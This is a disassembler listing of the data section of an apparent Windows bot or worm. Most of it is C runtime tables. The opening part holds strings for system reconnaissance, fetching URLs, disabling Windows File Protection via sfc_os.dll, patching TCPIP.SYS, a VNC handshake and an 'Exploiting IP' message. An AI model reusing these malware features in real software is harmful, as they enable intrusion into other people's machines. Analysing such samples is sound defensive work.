aNt_0		db 'NT',0               ; DATA XREF: sub_41B964+5Ao
		align 4
a98_0		db '98',0               ; DATA XREF: sub_41B964+6Co
		align 4
aMe_1		db 'ME',0               ; DATA XREF: sub_41B964+7Eo
		align 4
a2k_0		db '2K',0               ; DATA XREF: sub_41B964+98o
		align 10h
aXp_0		db 'XP',0               ; DATA XREF: sub_41B964+AAo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41B964+BAo
		align 4
a???_0		db '???',0              ; DATA XREF: sub_41B964:loc_41BA27o
; char aSS_12[]
aSS_12		db '%s (%s)',0          ; DATA XREF: sub_41B964+EBo
word_4526B8	dw 3Fh			; DATA XREF: sub_41B964:loc_41BA66r
		align 4
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B964:loc_41BAC8o
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41B964+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_41B964+1AEo
		align 4
; char asc_4526EC[]
asc_4526EC	db '-'                  ; DATA XREF: sub_41B964+297o
		db 3, 34h, 2
		dd 69737973h, 26F666Eh,	2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_41BC18+48o
		align 4
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_41BC18+5Bo
off_4527E0	dd offset dword_4E414C	; DATA XREF: sub_41BC18:loc_41BC7Ao
; char aNA[]
aNA		db 'N/A',0              ; DATA XREF: sub_41BC18+6Fo
; char aNA_0[]
aNA_0		db 'N/A',0              ; DATA XREF: sub_41BC18+82o
; char asc_4527EC[]
asc_4527EC	db '-'                  ; DATA XREF: sub_41BC18+A7o
		db 3, 34h, 2
		dd 6974656Eh, 26F666Eh,	2202D03h, 65707954h, 25203A02h
		dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
		dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
		dd 2Eh
dword_452830	dd 2A2F2Ah		; DATA XREF: .text:0041BD18o
dword_452834	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: .text:0041BE7Do
		dd 4C525520h, 2Eh
unk_452850	db  2Dh	; -		; DATA XREF: .text:loc_41BE8Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
unk_45287C	db  2Dh	; -		; DATA XREF: .text:loc_41BE96o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
dword_4528AC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: .text:0041BE69o
		dd 64657469h, 2Eh
unk_4528C8	db  2Dh	; -		; DATA XREF: .text:loc_41BE70o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
asc_452904:				; DATA XREF: .text:0041BF83o
		unicode	0, <\>,0
a2:					; DATA XREF: .text:0041C09Bo
		unicode	0, <2>,0
aS_bck		db '%s.bck',0           ; DATA XREF: .text:0041C0C7o
		align 4
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_41C0EF+24o
		align 10h
asc_452920:				; DATA XREF: .text:0041C157o
		unicode	0, <L>,0
dword_452924	dd 16h			; DATA XREF: .text:0041C165o
dword_452928	dd 6			; DATA XREF: .text:0041C16Co
dword_45292C	dd 0E8h			; DATA XREF: .text:0041C17Ao
dword_452930	dd 3			; DATA XREF: .text:0041C181o
dword_452934	dd 43h			; DATA XREF: .text:0041C196o
dword_452938	dd 0FCh			; DATA XREF: .text:0041C19Do
dword_45293C	dd 5			; DATA XREF: .text:0041C1A4o
dword_452940	dd 0E8h			; DATA XREF: .text:0041C1B2o
dword_452944	dd 3			; DATA XREF: .text:0041C1B9o
dword_452948	dd 0E5h			; DATA XREF: .text:0041C1CEo
dword_45294C	dd 0C8h			; DATA XREF: .text:0041C1D5o
dword_452950	dd 99h			; DATA XREF: .text:0041C1DCo
dword_452954	dd 47h			; DATA XREF: .text:0041C1E3o
dword_452958	dd 0C8h			; DATA XREF: .text:0041C1EAo
dword_45295C	dd 622B72h		; DATA XREF: .text:0041C274o
aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .text:0041C294o
aTcpip_sysFixed	db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .text:0041C59Fo
		align 4
; char aS_32[]
aS_32		db '%s',0               ; DATA XREF: sub_41C5F5+1Ao
		align 4
word_4529A8	dw 4			; DATA XREF: sub_41C624+10r
		align 4
word_4529AC	dw 1			; DATA XREF: sub_41C624+24r
		align 10h
aRfb003_008	db 'RFB 003.008',0Ah,0  ; DATA XREF: sub_41C76A+Co
		align 10h
dword_4529C0	dd 201h			; DATA XREF: sub_41C76A+1Eo
word_4529C4	dw 1			; DATA XREF: sub_41C76A+14r
		align 4
word_4529C8	dw 1			; DATA XREF: sub_41C76A+58r
		align 4
dword_4529CC	dd 0EBFFh		; DATA XREF: sub_41C76A+33o
dword_4529D0	dd 51FFh		; DATA XREF: sub_41C76A+3Eo
dword_4529D4	dd 0DFFh		; DATA XREF: sub_41C76A+49o
word_4529D8	dw 72h			; DATA XREF: sub_41C76A+64r
		align 4
; char aC_4[]
aC_4		db '%c',0               ; DATA XREF: sub_41C76A+201o
		align 10h
; char aSExploitingIpS[]
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_41C76A+2D1o
		align 10h
dword_452A00	dd 1			; DATA XREF: __heap_alloc_dbg+10r
					; __heap_alloc_dbg+F2r	...
dword_452A04	dd 25h			; DATA XREF: __heap_alloc_dbg:loc_41CDECr
					; __heap_alloc_dbg:loc_41CF55r	...
dword_452A08	dd 0FFFFFFFFh		; DATA XREF: __heap_alloc_dbg+58r
					; _realloc_help+9Er ...
byte_452A0C	db 0FDh			; DATA XREF: __heap_alloc_dbg+2B7r
					; __heap_alloc_dbg+2D1r ...
byte_452A0D	db 0DDh			; DATA XREF: sub_41D8A0+257r
					; sub_41D8A0+39Br ...
byte_452A0E	db 0CDh			; DATA XREF: __heap_alloc_dbg+2F1r
					; _realloc_help+377r
		align 10h
; char off_452A10[]
off_452A10	dd offset aFree		; DATA XREF: sub_41D8A0+177r
					; sub_41D8A0+1DDr ...
					; "Free"
		dd offset aNormal_0	; "Normal"
		dd offset aCrt		; "CRT"
		dd offset aIgnore	; "Ignore"
		dd offset aClient	; "Client"
		align 10h
dword_452A30	dd 173Fh		; DATA XREF: _floor+Br
		dd 9875h, 9873h
off_452A3C	dd offset __fpmath	; DATA XREF: __cinit+3r __cinit+Cr
		dd offset __initp_misc_winxfltr
		dd offset __initp_misc_winxfltr
dword_452A48	dd 1B3Fh		; DATA XREF: _ceil+Br
dword_452A4C	dd 19930520h, 4	dup(0)	; DATA XREF: __NLG_Notify1+2o
					; __NLG_Notify+2o
off_452A60	dd offset __exit	; DATA XREF: __amsg_exit+22r
dword_452A64	dd 2			; DATA XREF: __FF_MSGBANNER+15r
					; __NMSG_WRITE+86r ...
off_452A68	dd offset dword_4F4EA0	; DATA XREF: ___initstdio+B3o
					; __lock_file+3o ...
		align 10h
		dd offset dword_4F4EA0
		dd 101h
dword_452A78	dd 0FFFFFFFFh		; DATA XREF: ___initstdio+11Cw
		dd 0
		dd 1000h, 0
dword_452A88	dd 3 dup(0)		; DATA XREF: __flsbuf+111o
					; __stbuf:loc_42AB93o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_452AA8	dd 3 dup(0)		; DATA XREF: __flsbuf+11Ao
					; __stbuf:loc_42ABA5o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_452CC8	dd 8 dup(0)		; DATA XREF: __lock_file+Co
					; __unlock_file+Co
dword_452CE8	dd 0FFFFFFFFh		; DATA XREF: __CrtDbgReport+80o
					; __CrtDbgReport+108o ...
dword_452CEC	dd 2			; DATA XREF: __CrtSetReportMode+1Er
					; __CrtSetReportMode+39r ...
		dd 2 dup(4)
dword_452CF8	dd 0FFFFFFFFh		; DATA XREF: __CrtSetReportFile+20r
					; __CrtSetReportFile+2Cr ...
		dd 2 dup(0FFFFFFFFh)
off_452D04	dd offset aWarning	; DATA XREF: _CrtMessageWindow+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset aAssertionFai_1 ; "Assertion Failed"
dword_452D10	dd 0			; DATA XREF: __mtdeletelocks+1Fr
					; __mtdeletelocks+44r ...
off_452D14	dd offset dword_4F4800	; DATA XREF: __mtinitlocks+29r
					; __mtdeletelocks+8Fr
		dd 7 dup(0)
off_452D34	dd offset dword_4F4830	; DATA XREF: __mtinitlocks+1Cr
					; __mtdeletelocks:loc_424069r
		dd 3 dup(0)
off_452D44	dd offset dword_4F4848	; DATA XREF: __mtinitlocks+Fr
					; __mtdeletelocks+75r
		dd 3 dup(0)
off_452D54	dd offset dword_4F4818	; DATA XREF: __mtinitlocks+3r
					; __mtdeletelocks+82r
		dd 7 dup(0)
		dd 9427F8h, 16h	dup(0)
off_452DD0	dd offset unknown_libname_5 ; DATA XREF: __heap_alloc_dbg+79r
					; _realloc_help+C1r ...
					; Microsoft VisualC 2-8/net runtime
		align 8
off_452DD8	dd offset off_452DD8	; DATA XREF: ___sbh_new_region+Fo
					; ___sbh_new_region+7Ao ...
off_452DDC	dd offset off_452DD8	; DATA XREF: ___sbh_new_region:loc_426C06r
					; ___sbh_new_region+9Fw ...
		dd offset dword_452DF0
		dd offset dword_452DF0
dword_452DE8	dd 0FFFFFFFFh		; DATA XREF: ___sbh_new_region+6r
					; ___sbh_release_region:loc_426DB7w
		dd 0FFFFFFFFh
dword_452DF0	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.data:00452DE0o
					; .data:00452DE4o
off_454DF8	dd offset off_452DD8	; DATA XREF: ___sbh_release_region+17r
					; ___sbh_release_region+28w ...
dword_454DFC	dd 1E0h			; DATA XREF: __heap_alloc_base+AEr
					; sub_424440+146r ...
		dd 10h
off_454E04	dd offset __wctype+2	; DATA XREF: __printMemBlockData+7Cr
					; _atol+2Dr ...
off_454E08	dd offset __wctype+2	; DATA XREF: unknown_libname_24+2A4w
					; unknown_libname_24+35Bw ...
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: unknown_libname_24:loc_435C81o
					; unknown_libname_24+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes	dd 1			; DATA XREF: __printMemBlockData+4Er
					; _atol:loc_41F436r ...
byte_455014	db 2Eh			; DATA XREF: unknown_libname_7:loc_42BBC7r
					; unknown_libname_7+ED2r ...
		align 4
dword_455018	dd 1			; DATA XREF: ___init_numeric+169w
					; ___init_numeric+296w
off_45501C	dd offset aNull		; DATA XREF: sub_428D80:loc_4291C9r
					; sub_428D80+583r
					; "(null)"
off_455020	dd offset aNull_0	; DATA XREF: sub_428D80+51Br
					; "(null)"
dword_455024	dd 3			; DATA XREF: __mtinit+Fw __mtinit+14r	...
byte_455028	db 1			; DATA XREF: __setmbcp+12Fr
		db 2, 4, 8
		align 10h
dword_455030	dd 3A4h			; DATA XREF: __setmbcp+7Er
word_455034	dw 8260h		; DATA XREF: __setmbcp+192r
		dw 8279h
		dd 21h,	0
dword_455040	dd 0DFA6h		; DATA XREF: __setmbcp+D5r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_455120	dd 1			; DATA XREF: __dosmaperr+2Cr
dword_455124	dd 16h			; DATA XREF: __dosmaperr+3Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_455288	db ' ',9,'-',0Dh,']',0  ; DATA XREF: unknown_libname_7:loc_42B162o
		align 10h
asc_455290:				; DATA XREF: unknown_libname_7:loc_42B13Do
		unicode	0, <]>,0
		align 8
dword_455298	dd 14h			; DATA XREF: __get_fname+1Fr
off_45529C	dd offset aExp		; DATA XREF: __get_fname+2Er
					; "exp"
		dd 1Dh
		dd offset aPow		; "pow"
		dd 1Ah
		dd offset aLog_0	; "log"
		dd 1Bh
		dd offset aLog10	; "log10"
		dd 1Fh
		dd offset aSinh		; "sinh"
		dd 13h
		dd offset aCosh		; "cosh"
		dd 21h
		dd offset aTanh		; "tanh"
		dd 0Eh
		dd offset aAsin		; "asin"
		dd 0Dh
		dd offset aAcos		; "acos"
		dd 0Fh
		dd offset aAtan		; "atan"
		dd 10h
		dd offset aAtan2	; "atan2"
		dd 5
		dd offset aSqrt		; "sqrt"
		dd 1Eh
		dd offset aSin		; "sin"
		dd 12h
		dd offset aCos		; "cos"
		dd 20h
		dd offset aTan		; "tan"
		dd 0Ch
		dd offset aCeil		; "ceil"
		dd 0Bh
		dd offset aFloor	; "floor"
		dd 15h
		dd offset aFabs		; "fabs"
		dd 1Ch
		dd offset aModf		; "modf"
		dd 19h
		dd offset aLdexp	; "ldexp"
		dd 11h
		dd offset a_cabs	; "_cabs"
		dd 18h
off_455344	dd offset a_hypot	; DATA XREF: .data:00455EC4o
					; "_hypot"
		dd 16h
		dd offset aFmod		; "fmod"
		dd 17h
		dd offset aFrexp	; "frexp"
		dd 22h
		dd offset a_y0		; "_y0"
		dd 23h
		dd offset a_y1		; "_y1"
		dd 24h
		dd offset a_yn		; "_yn"
dbl_455370	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+E4r
					; __handle_exc:loc_42CA87r ...
		dd 0
		dd 0FFF80000h
dbl_455380	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc:loc_42CACAr
					; __handle_exc+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_455398	dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+13r
					; __set_statfp+2Ar
		align 4
tbyte_4553A4	dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+41r
		align 10h
off_4553B0	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+3w
					; sub_428D80+713r
off_4553B4	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+Dw
					; sub_428D80+759r
off_4553B8	dd offset __fassign	; DATA XREF: __cfltcvt_init+17w
					; unknown_libname_7+1138r
off_4553BC	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+21w
					; sub_428D80+736r
off_4553C0	dd offset __positive	; DATA XREF: __cfltcvt_init+2Bw
off_4553C4	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+35w
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
off_4553D0	dd offset ?terminate@@YAXXZ ; DATA XREF: sub_42E7C0+2Dr
					; sub_42E7C0+3Dr
					; terminate(void)
dword_4553D4	dd 43h			; DATA XREF: __setlocale_set_cat:loc_42EE9Co
					; .data:004554F0o ...
; char aC_2[]
aC_2		db 'C',0                ; DATA XREF: __expandlocale+8Do
					; __expandlocale+117o ...
		align 4
		dd 20h dup(0)
; char aC_3[]
aC_3		db 'C',0                ; DATA XREF: __expandlocale+74o
					; __expandlocale+FCo ...
		align 10h
		dd 20h dup(0)
off_4554E0	dd offset aLc_all	; DATA XREF: _setlocale+17Fr
					; _setlocale+198r ...
					; "LC_ALL"
; char *dword_4554E4
dword_4554E4	dd 0			; DATA XREF: _setlocale+77r
					; _setlocale+320r ...
off_4554E8	dd offset sub_42F160	; DATA XREF: __setlocale_set_cat+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_4553D4
		dd offset sub_435CD0
		dd offset aLc_ctype	; "LC_CTYPE"
off_4554FC	dd offset dword_4553D4	; DATA XREF: __setlocale_get_all+F0r
		dd offset unknown_libname_24 ; Microsoft VisualC 2-8/net runtime
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_4553D4
		dd offset ___init_monetary
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_4553D4
		dd offset ___init_numeric
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_4553D4
		dd offset ___init_time
dword_455528	dd 0C0000005h, 0Bh, 0	; DATA XREF: __initptd+6o
					; __freeptd+CEo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4555A0	dd 3			; DATA XREF: __XcptFilter+98r
					; __XcptFilter:loc_42FF0Br ...
dword_4555A4	dd 7			; DATA XREF: __XcptFilter+B1r
					; _raise+17Dr
dword_4555A8	dd 78h			; DATA XREF: .text:00431508r
					; .text:00431526r
dword_4555AC	dd 0Ah			; DATA XREF: _xcptlookup+1Dr
					; _xcptlookup:loc_430052r ...
dword_4555B0	dd 0FFFFFFFFh, 0A00h, 8	dup(0) ; DATA XREF: __filbuf:loc_428076o
					; __flsbuf:loc_428CF9o
dword_4555D8	dd 2			; DATA XREF: __NMSG_WRITE+2Ar
					; __NMSG_WRITE+3Dr ...
; char *off_4555DC
off_4555DC	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+56r
					; __NMSG_WRITE+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8
		dd offset aR6008NotEnough ; "R6008\r\n-	not enough space for arguments"...
		dd 9
		dd offset aR6009NotEnough ; "R6009\r\n-	not enough space for environme"...
		dd 0Ah
		dd offset aAbnormalProgra ; "\r\nabnormal program termination\r\n"
		dd 10h
		dd offset aR6016NotEnough ; "R6016\r\n-	not enough space for thread da"...
		dd 11h
		dd offset aR6017Unexpecte ; "R6017\r\n-	unexpected multithread lock er"...
		dd 12h
		dd offset aR6018Unexpecte ; "R6018\r\n-	unexpected heap	error\r\n"
		dd 13h
		dd offset aR6019UnableToO ; "R6019\r\n-	unable to open console device\r"...
		dd 18h
		dd offset aR6024NotEnough ; "R6024\r\n-	not enough space for _onexit/a"...
		dd 19h
		dd offset aR6025PureVirtu ; "R6025\r\n-	pure virtual function call\r\n"
		dd 1Ah
		dd offset aR6026NotEnough ; "R6026\r\n-	not enough space for stdio ini"...
		dd 1Bh
		dd offset aR6027NotEnough ; "R6027\r\n-	not enough space for lowio ini"...
		dd 1Ch
		dd offset aR6028UnableToI ; "R6028\r\n-	unable to initialize heap\r\n"
		dd 78h
		dd offset aDomainError	; "DOMAIN error\r\n"
		dd 79h
		dd offset aSingError	; "SING	error\r\n"
dword_455650	dd 7Ah			; DATA XREF: .data:00455890o
		dd offset aTlossError	; "TLOSS error\r\n"
		dd 0FCh
		dd offset asc_43E464	; "\r\n"
		dd 0FFh
		dd offset aRuntimeError	; "runtime error "
		align 10h
dword_455670	dd 2694h		; DATA XREF: __handle_qnan1+3r
					; __handle_qnan2+Fr ...
		align 8
dword_455678	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4338D0+3o
dword_455690	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4338F0+3o
dword_4556A8	dd 7080h		; DATA XREF: ___loctotime_t+92r
					; __tzset_lk+80w ...
dword_4556AC	dd 1			; DATA XREF: ___loctotime_t+C2r
					; __tzset_lk+BFw ...
dword_4556B0	dd 0FFFFF1F0h		; DATA XREF: ___loctotime_t+DEr
					; __tzset_lk+D7w ...
dword_4556B4	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_455734o
dword_4556F4	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_455738o
; char *off_455734
off_455734	dd offset dword_4556B4	; DATA XREF: __tzset_lk+FAr
					; __tzset_lk+123r ...
; char *off_455738
off_455738	dd offset dword_4556F4	; DATA XREF: __tzset_lk+140r
					; __tzset_lk+16Ar ...
		align 10h
dword_455740	dd 0FFFFFFFFh		; DATA XREF: __tzset_lk+30w
					; sub_434320+1Ar ...
dword_455744	dd 0			; DATA XREF: sub_434320:loc_43451Br
					; sub_434320+20Fr ...
dword_455748	dd 0			; DATA XREF: sub_434320+2CFr
					; _cvtdate+13Dw
		align 10h
dword_455750	dd 0FFFFFFFFh		; DATA XREF: __tzset_lk+21w
					; __tzset_lk+2Br ...
dword_455754	dd 0			; DATA XREF: sub_434320+201r
					; sub_434320+21Dr ...
dword_455758	dd 0			; DATA XREF: sub_434320+2E5r
					; _cvtdate+1Dr	...
dword_45575C	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+B0r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_45578C	dd 16Dh			; DATA XREF: ___loctotime_t+2Er
					; _cvtdate+2Cr	...
dword_455790	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+BFr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 3 dup(0)
dword_4557D0	dd 40Ah			; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+3Er
					; crtGetLocaleInfoA(x,x,x,x)+147r
a040a		db '040a',0             ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+9Ao
		align 4
off_4557DC	dd offset aSpanishTraditi ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+ABr
					; "Spanish - Traditional Sort"
dword_4557E0	dd 505345h		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+BCo
off_4557E4	dd offset aSpain	; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+CDr
					; "Spain"
dword_4557E8	dd 505345h		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+DEo
dword_4557EC	dd 303538h, 0		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+EFo
a1252		db '1252',0             ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd 415246h
		dd offset aFrance	; "France"
		dd 415246h, 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset dword_455650+3
		dd offset aSweden	; "Sweden"
		dd offset dword_455750+3
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd 515545h
		dd offset aSpain	; "Spain"
		dd 505345h, 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd 425246h
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd 414544h
		dd offset aAustria	; "Austria"
		dd 545541h, 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd 414E45h
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd 505345h, 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd 435246h
		dd offset aCanada	; "Canada"
		dd offset dword_4E4140+3
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h
		dd offset aSwitzerland	; "Switzerland"
		dd offset dword_452DF0+1A53h
		dd 303538h, 0
a1252_12	db '1252',0
		align 4
dword_455A38	dd 140Ah, 61303431h, 0	; DATA XREF: .data:00455CA4o
		dd offset aSpanish	; "Spanish"
		dd 435345h
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd 415345h
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h
		dd offset aSouthAfrica	; "South Africa"
		dd offset word_46415A
		dd 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset aErrorGetting_0+5
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h
		dd offset aVenezuela	; "Venezuela"
		dd offset word_4E4556
		dd 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h
		dd offset aPeru		; "Peru"
		dd 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h
		dd offset aArgentina	; "Argentina"
		dd offset byte_475241
		dd 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
